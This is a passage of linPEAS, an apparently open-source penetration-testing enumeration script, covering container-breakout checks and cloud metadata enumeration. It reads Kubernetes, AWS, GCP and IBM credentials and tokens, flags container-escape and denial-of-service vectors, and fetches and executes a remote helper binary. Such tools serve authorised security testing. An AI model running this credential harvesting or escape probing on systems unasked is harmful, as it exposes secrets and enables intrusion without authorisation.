df -h | grep docker
fi
fi

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# Title: Container - Container & breakout enumeration
# ID: CT_Container_breakout
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Container breakout enumeration to see if in case we are inside a container we could escape
# License: GNU GPL
# Version: 1.0
# Functions Used: checkContainerExploits, checkProcSysBreakouts, containerCheck, echo_no, echo_not_found, print_2title, print_3title, print_info, print_list
# Global Variables: $binfmt_misc_breakout, $containercapsB, $containerType, $core_pattern_breakout, $dev_mounted, $efi_efivars_writable, $efi_vars_writable, $GREP_IGNORE_MOUNTS, $inContainer, $kallsyms_readable, $kcore_readable, $kmem_readable, $kmem_writable, $kmsg_readable, $mem_readable, $mem_writable, $modprobe_present, $mountinfo_readable, $panic_on_oom_dos, $panic_sys_fs_dos, $proc_configgz_readable, $proc_mounted, $run_unshare, $release_agent_breakout1, $release_agent_breakout2, $release_agent_breakout3, $sched_debug_readable, $security_present, $security_writable, $sysreq_trigger_dos, $uevent_helper_breakout, $vmcoreinfo_readable, $VULN_CVE_2019_5021, $self_mem_readable
# Initial Functions: containerCheck
# Generated Global Variables: $defautl_docker_caps
# Fat linpeas: 0
# Small linpeas: 0
if [ "$inContainer" ]; then
echo ""
print_2title "Container & breakout enumeration"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout"
print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')"
if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then
print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
fi
print_list "Seccomp enabled? ............... "$NC
([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
print_list "AppArmor profile? .............. "$NC
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
print_list "User proc namespace? ........... "$NC
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
checkContainerExploits
print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_3title "Breakout via mounts"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts"
checkProcSysBreakouts
print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "Run unshare .................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "release_agent breakout 3........ $release_agent_breakout3\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED},"
print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED},"
if [ "$EXTRA_CHECKS" ]; then
print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/self/mem readable ........ $self_mem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
fi
echo ""
print_3title "Namespaces"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces"
ls -l /proc/self/ns/
if echo "$containerType" | grep -qi "kubernetes"; then
print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n"
print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n"
echo ""
print_2title "Kubernetes Information"
print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod"
print_3title "Kubernetes service account folder"
ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null
echo ""
print_3title "Kubernetes env vars"
(env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType="
echo ""
print_3title "Current sa user k8s permissions"
print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/hardening-roles-clusterroles"
kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \
"https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-X 'POST' -H 'Content-Type: application/json' \
--header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED},"
fi
echo ""
print_2title "Container Capabilities"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape"
if [ "$(command -v capsh || echo -n '')" ]; then
capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g"
else
defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap"
cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g"
echo $ITALIC"Run capsh --decode=<hex> to decode the capabilities"$NC
fi
echo ""
print_2title "Privilege Mode"
if [ -x "$(command -v fdisk || echo -n '')" ]; then
if [ "$(fdisk -l 2>/dev/null | wc -l)" -gt 0 ]; then
echo "Privilege Mode is enabled"| sed -${E} "s,enabled,${SED_RED_YELLOW},"
else
echo "Privilege Mode is disabled"| sed -${E} "s,disabled,${SED_GREEN},"
fi
else
echo_not_found
fi
echo ""
print_2title "Interesting Files Mounted"
(mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g"
echo ""
print_2title "Possible Entrypoints"
ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq
echo ""
fi

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# Title: Container - Am I Containered
# ID: CT_Am_I_contained
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Am I Containered tool
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, execBin
# Global Variables:
# Initial Functions:
# Generated Global Variables: $FAT_LINPEAS_AMICONTAINED
# Fat linpeas: 1
# Small linpeas: 0
if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then
print_2title "Am I Containered?"
FAT_LINPEAS_AMICONTAINED="peass{https://github.com/genuinetools/amicontained/releases/latest/download/amicontained-linux-amd64}"
execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED"
fi

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linPEAS/builder/linpeas_parts/3_cloud.sh
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###########################################
#-----------) Cloud functions (-----------#
###########################################
GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append"
GCP_BAD_SCOPES="/cloud-platform|/compute"
exec_with_jq(){
if [ "$(command -v jq)" ]; then
$@ | jq 2>/dev/null;
if ! [ $? -eq 0 ]; then
$@;
fi
else
$@;
fi
}
check_gcp(){
is_gcp="No"
if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then
is_gcp="Yes"
fi
}
check_do(){
is_do="No"
if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then
is_do="Yes"
fi
}
check_ibm_vm(){
is_ibm_vm="No"
if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then
curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1
if [ "$?" -eq 0 ]; then
IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) )
is_ibm_vm="Yes"
fi
fi
}
check_aws_ecs(){
is_aws_ecs="No"
if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then
is_aws_ecs="Yes";
aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4;
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
elif (env | grep -q ECS_CONTAINER_METADATA_URI); then
is_aws_ecs="Yes";
aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI;
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then
is_aws_ecs="Yes";
fi
if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
fi
}
check_aws_ec2(){
is_aws_ec2="No"
is_aws_ec2_beanstalk="No"
if [ -d "/var/log/amazon/" ]; then
is_aws_ec2="Yes"
EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
else
EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then
is_aws_ec2="Yes"
fi
fi
if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then
is_aws_ec2_beanstalk="Yes"
fi
}
check_aws_lambda(){
is_aws_lambda="No"
if (env | grep -q AWS_LAMBDA_); then
is_aws_lambda="Yes"
fi
}
check_aws_codebuild(){
is_aws_codebuild="No"
if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then
is_aws_codebuild="Yes"
fi
}
check_az_vm(){
is_az_vm="No"
if [ -d "/var/log/azure/" ]; then
is_az_vm="Yes"
elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then
is_az_vm="Yes"
fi
}
check_az_app(){
is_az_app="No"
if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then
is_az_app="Yes"
fi
}
check_gcp
print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_ecs
print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_ec2
print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_lambda
print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_codebuild
print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_do
print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_ibm_vm
print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_az_vm
print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_az_app
print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
echo ""
if [ "$is_gcp" = "Yes" ]; then
gcp_req=""
if [ "$(command -v curl)" ]; then
gcp_req='curl -s -f -H "X-Google-Metadata-Request: True"'
elif [ "$(command -v wget)" ]; then
gcp_req='wget -q -O - --header "X-Google-Metadata-Request: True"'
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
# GCP Enumeration
if [ "$gcp_req" ]; then
print_2title "Google Cloud Platform Enumeration"
print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security"
## GC Project Info
p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id')
[ "$p_id" ] && echo "Project-ID: $p_id"
p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id')
[ "$p_num" ] && echo "Project Number: $p_num"
pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys')
[ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k"
p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true')
[ "$p_attrs" ] && echo "All Project Attributes: $p_attrs"
# OSLogin Info
osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users)
[ "$osl_u" ] && echo "OSLogin users: $osl_u"
osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups)
[ "$osl_g" ] && echo "OSLogin Groups: $osl_g"
osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys)
[ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk"
osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize)
[ "$osl_au" ] && echo "OSLogin Authorize: $osl_au"
# Instance Info
inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description)
[ "$inst_d" ] && echo "Instance Description: "
inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname)
[ "$inst_hostn" ] && echo "Hostname: $inst_hostn"
inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id)
[ "$inst_id" ] && echo "Instance ID: $inst_id"
inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image)
[ "$inst_img" ] && echo "Instance Image: $inst_img"
inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type)
[ "$inst_mt" ] && echo "Machine Type: $inst_mt"
inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name)
[ "$inst_n" ] && echo "Instance Name: $inst_n"
inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags)
[ "$inst_tag" ] && echo "Instance tags: $inst_tag"
inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone)
[ "$inst_zone" ] && echo "Zone: $inst_zone"
inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location")
[ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc"
inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name")
[ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name"
inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin")
[ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e"
inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels")
[ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab"
inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig")
[ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec"
inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env")
[ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv"
echo ""
print_3title "Interfaces"
for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
echo ""
print_3title "User Data"
echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script")
echo ""
echo ""
print_3title "Service Accounts"
for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email")
echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases")
echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity")
echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g"
echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token")
echo " ============== "
done
fi
fi
# AWS ECS Enumeration
if [ "$is_aws_ecs" = "Yes" ]; then
print_2title "AWS ECS Enumeration"
aws_ecs_req=""
if [ "$(command -v curl)" ]; then
aws_ecs_req='curl -s -f'
elif [ "$(command -v wget)" ]; then
aws_ecs_req='wget -q -O -'
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$aws_ecs_metadata_uri" ]; then
print_3title "Container Info"
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri"
echo ""
print_3title "Task Info"
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task"
echo ""
else
echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info"
fi
if [ "$aws_ecs_service_account_uri" ]; then
print_3title "IAM Role"
exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri"
echo ""
else
echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)"
fi
fi
# AWS EC2 Enumeration
if [ "$is_aws_ec2" = "Yes" ]; then
print_2title "AWS EC2 Enumeration"
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$aws_req" ]; then
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
print_3title "Account Info"
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
echo ""
print_3title "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
print_3title "IAM Role"
exec_with_jq eval $aws_req "$URL/iam/info"; echo ""
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
print_3title "User Data"
eval $aws_req "http://169.254.169.254/latest/user-data"; echo ""
echo ""
echo "EC2 Security Credentials"
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
print_3title "SSM Runnig"
ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED},"
fi
fi
# AWS Lambda Enumeration
if [ "$is_aws_lambda" = "Yes" ]; then
print_2title "AWS Lambda Enumeration"
printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME
printf "Region: "; env | grep AWS_REGION
printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY
printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID
printf "Session token: "; env | grep AWS_SESSION_TOKEN
printf "Security token: "; env | grep AWS_SECURITY_TOKEN
printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API
printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")
fi
# AWS Codebuild Enumeration
if [ "$is_aws_codebuild" = "Yes" ]; then
print_2title "AWS Codebuild Enumeration"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O -"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
echo "The addresses are in /codebuild/output/tmp/env.sh"
fi
if [ "$aws_req" ]; then
print_3title "Credentials"
CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2)
URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig
exec_with_jq eval $aws_req "$URL_CREDS"; echo ""
print_3title "Container Info"
METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2)
exec_with_jq eval $aws_req "$METADATA_URL"; echo ""
fi
fi
# DO Droplet Enumeration
if [ "$is_do" = "Yes" ]; then
print_2title "DO Droplet Enumeration"
do_req=""
if [ "$(command -v curl)" ]; then
do_req='curl -s -f '
elif [ "$(command -v wget)" ]; then
do_req='wget -q -O - '
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$do_req" ]; then
URL="http://169.254.169.254/metadata"
printf "Id: "; eval $do_req "$URL/v1/id"; echo ""
printf "Region: "; eval $do_req "$URL/v1/region"; echo ""
printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo ""
printf "User data: "; eval $do_req "$URL/v1/user-data"; echo ""
printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo ""
printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces";
printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip";
printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip";
printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags";
printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features";
fi
fi
# IBM Cloud Enumeration
if [ "$is_ibm_vm" = "Yes" ]; then
print_2title "IBM Cloud Enumeration"
if ! [ "$IBM_TOKEN" ]; then
echo "Couldn't get the metadata token:("
else
TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN"
ACCEPT_HEADER="Accept: application/json"
URL="http://169.254.169.254/latest/meta-data"
ibm_req=""
if [ "$(command -v curl)" ]; then
ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
elif [ "$(command -v wget)" ]; then
ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$ibm_req" ]; then
print_3title "Instance Details"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01"
print_3title "Keys and User data"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01"
print_3title "Placement Groups"
